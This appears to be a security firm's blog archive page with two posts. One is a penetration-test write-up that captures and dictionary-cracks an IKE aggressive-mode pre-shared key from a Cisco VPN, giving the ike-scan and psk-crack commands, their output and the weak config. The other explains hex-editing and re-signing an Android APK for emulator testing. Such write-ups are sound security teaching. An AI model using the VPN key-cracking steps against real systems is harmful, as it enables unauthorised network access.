Monthly Archives: April 2014

ISAKMP hacking – How much should we trust our tools?

During a VPN testing project we looked a bit deeper into the security vulnerability caused by ISAKMP aggressive mode. To put things simple, the important fact for us is that assuming pre-shared key authentication and possession of a valid userid makes it possible to obtain the valid encrypted PSK. During the tests I used Cisco network equipment and the Cisco VPN Configuration Guide. First I discovered the open ISAKMP VPN port on the target system:

Initiating Service scan at 11:11
Scanning 1 service on 192.168.2.5
Completed Service scan at 11:13, 82.57s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.2.5.
Initiating NSE at 11:13
Completed NSE at 11:13, 30.08s elapsed
Nmap scan report for 192.168.2.5
Host is up (0.0035s latency).
PORT STATE SERVICE VERSION
500/udp open isakmp?

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.26 seconds
Raw packets sent: 5 (372B) | Rcvd: 2 (272B)

I created a short script to collect the cryptographic settings of the connection:

root@s2crew:~/bin# ./ike-crypt-transforms.sh 192.168.2.5
Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.11 hosts/sec). 1 returned handshake; 0 returned notify
Supported: 5,2,1,2
Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.37 hosts/sec). 1 returned handshake; 0 returned notify
Supported: 5,2,65001,2

The settings supported by the CISCO device can be seen below:

Encryption algorithms:: Triple-DES
Hash algorithms:: MD5
Authentication methods: Pre-Shared Key/Hybrid Mode and XAUTH
Diffie-Hellman groups: 2

I used the ikeprobe.exe application to detect whether the service was vulnerable. The result of the tests showed the target environment was not vulnerable:

root@s2crew:~/bin# wine ikeprobe.exe 192.168.2.5
IKEProbe 0.1beta (c) 2003 Michael Thumann (www.ernw.de)
Portions Copyright (c) 2003 Cipherica Labs (www.cipherica.com)
Read license-cipherica.txt for LibIKE License Information
IKE Aggressive Mode PSK Vulnerability Scanner (Bugtraq ID 7423)

Supported Attributes
Ciphers : DES, 3DES, AES-128, CAST
Hashes : MD5, SHA1
Diffie Hellman Groups: DH Groups 1,2 and 5

IKE Proposal for Peer: 192.168.2.5
Aggressive Mode activated ...
.
.
.
Attribute Settings:
Cipher CAST
Hash MD5
Diffie Hellman Group 5

8.251 3: ph1_initiated(00443ee0, 00449178)
8.283 3: << ph1 (00443ee0, 340)

System not vulnerable, Attribute mismatch or not authorized Peer.

The above statement was not true. Fortunately I knew a valid ID for the VPN connection that helped me to perform the attack:

root@s2crew:~/bin# ike-scan -A --trans=5,2,1,2 --id=vpnclient -Ppsk.txt 192.168.2.5
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.2.5 Aggressive Mode Handshake returned HDR=(CKY-R=576568d95df504bb) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) VID=a2a2cfc45df404bbeb2e7a5d49fd39fd VID=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.2.5) Nonce(20 bytes) Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.047 seconds (21.07 hosts/sec). 1 returned handshake; 0 returned notify

I performed a dictionary attack against the PSK hash:

root@s2crew:~/bin# psk-crack -d /root/depth4.dic psk.txt
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "cisco123" matches SHA1 hash 07746c280f597b19b274499f771d0589ad26fce8
Ending psk-crack: 280320 iterations in 1.730 seconds (161992.45 iterations/sec)

Below is the part of the VPN configuration that made the device vulnerable:

crypto isakmp policy 3
encr 3des
authentication pre-share
group 2
!
crypto isakmp client configuration group vpnclient
key cisco123
dns 10.10.10.10
wins 10.10.10.20
domain silentsignal.eu
pool ippool
acl 101
!
!
crypto ipsec transform-set myset esp-3des esp-md5-hmac
!

When we perform a security audit, we have to take the power and limits of the tools used for testing into account. A good tester never trusts the result of any security testing tool blindly, and understands the issue under investigation.

Quick and dirty Android binary XML edits

Last week I had an Android application that I wanted to test in the Android emulator (the official one included in the SDK). I had the application installed from Play Store on a physical device, and as I’ve done many times, I just grabbed it using Drozer and issued the usual ADB command to install it on the emulator. (The sizes and package names have been altered to protect the innocent.)

$ adb install hu.silentsignal.blogpost.apk
1337 KB/s (27313378 bytes in 22.233s)
        pkg: /data/local/tmp/hu.silentsignal.blogpost.apk
Failure [INSTALL_FAILED_CONTAINER_ERROR]

A quick search on the web revealed that the application most probably had the installLocation parameter set to preferExternal in the manifest file. Latter is an XML file called AndroidManifest.xml that contains important metadata about Android applications and is transformed into a binary representation upon compilation to reduce the size and processing power required on resource-constrained devics. Running android-apktool converted it back to text format, and revealed that it was indeed the cause.

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="133744042" android:versionName="4.13.37"
  android:installLocation="preferExternal" package="hu.silentsignal.blogpost"
  xmlns:android="http://schemas.android.com/apk/res/android">

Most results of the web search agreed that the emulator (although capable of emulating SD cards) is incompatible with this setting, some suggested increasing the memory of the emulated device, others said the same about the SD card, but unfortunately none of these worked for us. The majority of accepted answers solved the problem by changing the preferExternal parameter to auto, which is the default.

Changing an Android application and repackaging it is also a breeze usually, apktool supports this natively, I just have to sign the resulting APK with a key of my own. However, this application used some features that apktool (and other tools invoked in the process, including AAPT) didn’t like. I’ve met this situation before, and there are usually two solutions.

  1. Removing such features in a way that the application can still be tested is a cumbersome series of iterations, and leads to almost certain insanity.

  2. Updating apktool and some dependencies so that they accept such features is rather painless, as it usually Just Works™.

However in this case, even beta versions couldn’t handle the task, I’ve even written some wrapper scripts around the dependencies to tweak with parameters like minimum and targeted API levels, but got nowhere. Then I realized, binary XML files still have to store the attribute names somewhere, so I fired up a hex editor and hoped that the Android runtime won’t complain about unknown attributes and will use the default value. It seemed that the format uses UTF-16 to store strings, and at offset 0x112, I changed the i to o, resulting in installLocatoon.

00f0  3a080000 82080000  0f006900 6e007300  |:.........i.n.s.|
0100  74006100 6c006c00  4c006f00 63006100  |t.a.l.l.L.o.c.a.|
0110  74006f00 6f006e00  00000b00 76006500  |t.o.o.n.....v.e.|
0120  72007300 69006f00  6e004300 6f006400  |r.s.i.o.n.C.o.d.|
0130  65000000 0b007600  65007200 73006900  |e.....v.e.r.s.i.|

Then, I simply updated the manifest in the APK file using a ZIP tool since APK files are just ZIP archives with specific naming conventions, just like JAR, DOCX and ODT files. Since the digital signature of the APK is now corrupted, I had to resign it with jarsigner, but installation still failed.

$ 7z -tzip a hu.silentsignal.blogpost.apk AndroidManifest.xml

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=hu_HU.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)

Scanning

Updating archive hu.silentsignal.blogpost.apk

Compressing  AndroidManifest.xml      

Everything is Ok
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 \
    -keystore s2.jks hu.silentsignal.blogpost.apk s2
Enter Passphrase for keystore: 
$ adb install hu.silentsignal.blogpost.apk
1337 KB/s (27313378 bytes in 22.233s)
        pkg: /data/local/tmp/hu.silentsignal.blogpost.apk
Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]

How can there be no certificates? Let’s list the contents with a ZIP tool, and look for the META-INF, an old friend from the Java world (JAR files) that contains a list of files with name and (in case of Android, SHA-1) hash (MANIFEST.MF), a public key (*.RSA in case of RSA), and a signature of the former with the latter (*.SF). The name of the public key and signature files are the same as their alias in the keystore converted to uppercase; see the last parameter of jarsigner in the above commands (s2).

   Date      Time    Attr     Size   Compressed  Name
------------------- ----- -------- ------------  --------------------
2014-04-03 14:44:42 .....   362941       110461  META-INF/MANIFEST.MF
2014-04-03 14:44:42 .....   369105       113933  META-INF/S2.SF
2014-04-03 14:44:42 .....     2046         1865  META-INF/S2.RSA
2014-02-27 13:37:16 .....      928          637  META-INF/CERT.RSA
2014-02-27 13:37:16 .....   361020       113942  META-INF/CERT.SF

See? It’s there! Also, another certificate (CERT.*), since without apktool (which rebuilds APK archives from scratch) everything except AndroidManifest.xml is included from the original file. Let’s delete the META-INF directory, and try again.

$ 7z -tzip d hu.silentsignal.blogpost.apk META-INF

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=hu_HU.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)

Updating archive hu.silentsignal.blogpost.apk

      
Everything is Ok
$ jarsigner -sigalg SHA1withRSA -digestalg SHA1 \
    -keystore s2.jks hu.silentsignal.blogpost.apk s2
Enter Passphrase for keystore: 
$ adb install hu.silentsignal.blogpost.apk                            
1337 KB/s (27313378 bytes in 22.233s)
        pkg: /data/local/tmp/hu.silentsignal.blogpost.apk
Success

With this last modification, it worked, and I was able to explore the application within the emulator that makes it much more easier to set a global proxy and manipulate certificates than a physical device, and I haven’t even mentioned faking sensors and GSM information, or taking snapshots. The lesson here was that

  • if a difficult format takes more than 5 minutes to recreate, it’s worth considering manual editing in case of simple modifications,
  • most XML readers (including the Android runtime) tend to ignore unknown attributes, and
  • the META-INF directory should be removed before signing an APK file, otherwise the runtime refuses it.

Thanks to Etamme for the featured image Androids, licensed under CC-BY-3.0